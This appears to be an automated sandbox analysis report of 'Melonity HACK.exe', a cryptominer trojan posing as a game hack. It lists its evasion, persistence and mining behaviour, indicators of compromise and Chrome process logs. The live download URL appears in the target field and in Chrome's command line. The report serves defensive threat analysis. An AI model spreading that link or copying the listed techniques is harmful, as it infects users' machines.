hxxps://oxy[.]name/d/Jmxf

Analysis

max time kernel
88s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
19-05-2022 20:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://oxy.name/d/Jmxf

Score

10^/10

evasion miner trojan vmprotect

Malware Config

Signatures

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
miner
Downloads MZ/PE file

Executes dropped EXE 24 IoCs

Processes:

Melonity HACK.exeab.exeac1.exeu.exereg.exed.exeac.exemin.execmd.exeab.exed.exed.exeac1.exeac1.exeu.exeWScript.exeStart.exeu.exeac.exeu.execmd.execsc.exetaskkill.exepowershell.exe

pid	process
3932	Melonity HACK.exe
4244	ab.exe
3732	ac1.exe
4136	u.exe
4324	reg.exe
4712	d.exe
2844	ac.exe
1916	min.exe
1932	cmd.exe
2944	ab.exe
5116	d.exe
1172	d.exe
3832	ac1.exe
3468	ac1.exe
1460	u.exe
1488	WScript.exe
3792	Start.exe
4232	u.exe
4284	ac.exe
1812	u.exe
4692	cmd.exe
2236	csc.exe
3688	taskkill.exe
1916	powershell.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/1120-221-0x0000000140000000-0x0000000141B39000-memory.dmp	vmprotect
behavioral1/memory/4856-228-0x0000000140000000-0x0000000141B39000-memory.dmp	vmprotect
behavioral1/memory/4856-227-0x0000000140000000-0x0000000141B39000-memory.dmp	vmprotect

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Start.exeac.exeMelonity HACK.execmd.exeab.exeac1.exeac1.exeWScript.exeab.exeac1.exeac.exeWScript.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	Start.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	ac.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	Melonity HACK.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	ab.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	ac1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	ac1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	ab.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	ac1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	ac.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\Downloads\Melonity HACK.exe	autoit_exe
C:\Users\Admin\Downloads\Melonity HACK.exe	autoit_exe

Drops file in System32 directory 34 IoCs

Processes:

u.exeu.exeWScript.exereg.exeu.exeu.exe

description	ioc	process
File created	C:\Windows\System32\GroupPolicy\User\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	u.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	WScript.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	u.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	reg.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\User\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	reg.exe
File created	C:\Windows\System32\GroupPolicy\User\Registry.pol	reg.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	WScript.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\User\Registry.pol	reg.exe
File opened for modification	C:\Windows\System32\GroupPolicy\User\Registry.pol	u.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\User\Registry.pol	WScript.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy	WScript.exe
File opened for modification	C:\Windows\System32\GroupPolicy	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\User\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\User\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	reg.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy	u.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	u.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	u.exe
File opened for modification	C:\Windows\SysWOW64\GroupPolicy\gpt.ini	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	WScript.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	u.exe
File opened for modification	C:\Windows\System32\GroupPolicy	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2480 schtasks.exe
4856 schtasks.exe
4728 schtasks.exe
4320 schtasks.exe
4692 schtasks.exe
2032 schtasks.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

224 timeout.exe
1152 timeout.exe

pid	process
2480	schtasks.exe
4856	schtasks.exe
4728	schtasks.exe
4320	schtasks.exe
4692	schtasks.exe
2032	schtasks.exe

pid	process
224	timeout.exe
1152	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 18 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2784	taskkill.exe
2552	taskkill.exe
4880	taskkill.exe
4672	taskkill.exe
3296	taskkill.exe
3752	taskkill.exe
2568	taskkill.exe
2428	taskkill.exe
5000	taskkill.exe
4044	taskkill.exe
3136	taskkill.exe
2944	taskkill.exe
476	taskkill.exe
3688	taskkill.exe
4580	taskkill.exe
3860	taskkill.exe
3688	taskkill.exe
3792	taskkill.exe

Modifies registry class 6 IoCs

Processes:

Melonity HACK.execmd.exeab.exeMelonity HACK.exeMelonity HACK.exeab.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	Melonity HACK.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	ab.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	Melonity HACK.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	Melonity HACK.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\Local Settings	ab.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exe

pid	process
452	chrome.exe
452	chrome.exe
2348	chrome.exe
2348	chrome.exe
4764	chrome.exe
4764	chrome.exe
4328	chrome.exe
4328	chrome.exe
1212	chrome.exe
1212	chrome.exe
4356	chrome.exe
4356	chrome.exe
1512	chrome.exe
1512	chrome.exe
4024	chrome.exe
4024	chrome.exe
5060	chrome.exe
5060	chrome.exe
2348	chrome.exe
2348	chrome.exe
60	chrome.exe
60	chrome.exe
3284	chrome.exe
3284	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

Processes:

chrome.exe

pid	process
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe

Suspicious use of FindShellTrayWindow 44 IoCs

Processes:

chrome.exe

pid	process
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

Processes:

chrome.exe

pid	process
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe
2348	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 2348 wrote to memory of 2884	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 2884	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4932	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 452	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 452	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe
PID 2348 wrote to memory of 4152	2348	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://oxy.name/d/Jmxf
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2348

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa05ec4f50,0x7ffa05ec4f60,0x7ffa05ec4f70
2⤵
PID:2884

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1696 /prefetch:2
2⤵
PID:4932

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2008 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:452

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2276 /prefetch:8
2⤵
PID:4152

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3076 /prefetch:1
2⤵
PID:4132

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3088 /prefetch:1
2⤵
PID:1668

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4320 /prefetch:8
2⤵
PID:116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4344 /prefetch:1
2⤵
PID:4116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4684 /prefetch:1
2⤵
PID:2084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1
2⤵
PID:1236

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5448 /prefetch:1
2⤵
PID:3752

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5712 /prefetch:1
2⤵
PID:2408

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5196 /prefetch:8
2⤵
PID:4592

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5064 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5084 /prefetch:8
2⤵
PID:4552

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5240 /prefetch:8
2⤵
PID:4692

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5244 /prefetch:8
2⤵
PID:3140

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4940 /prefetch:1
2⤵
PID:4848

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5388 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4328

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6168 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4356

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3296 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1212

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5476 /prefetch:1
2⤵
PID:3396

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4788 /prefetch:1
2⤵
PID:3304

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
2⤵
PID:3156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6280 /prefetch:1
2⤵
PID:2380

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5704 /prefetch:1
2⤵
PID:3560

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6292 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1512

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4376 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4024

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3576 /prefetch:8
2⤵
PID:4188

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6388 /prefetch:8
2⤵
PID:2340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4400 /prefetch:1
2⤵
PID:4480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1652,3197214731028535143,9419818738760400249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2584 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5060

C:\Program Files\Google\Chrome\Application\chrome.exe
